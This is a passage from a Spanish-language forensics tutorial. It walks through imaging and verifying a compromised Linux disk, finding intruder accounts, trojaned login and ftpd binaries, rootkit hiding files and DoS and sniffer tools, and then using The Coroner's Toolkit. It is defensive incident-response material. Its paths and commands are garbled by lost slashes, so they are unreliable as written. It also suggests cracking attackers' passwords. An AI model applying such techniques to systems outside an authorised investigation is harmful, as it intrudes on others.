A partir de este listado podemos sacar una buena conclusioacuten que la particioacuten devhdd2 era particioacuten root y devhdd4era algo parecido a usr o home No puede decir cual de las dos es en este paso pero se puede ver el fichero salvadoetcfstab o alternativamente montarla particioacuten y examinar su contenido

12

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

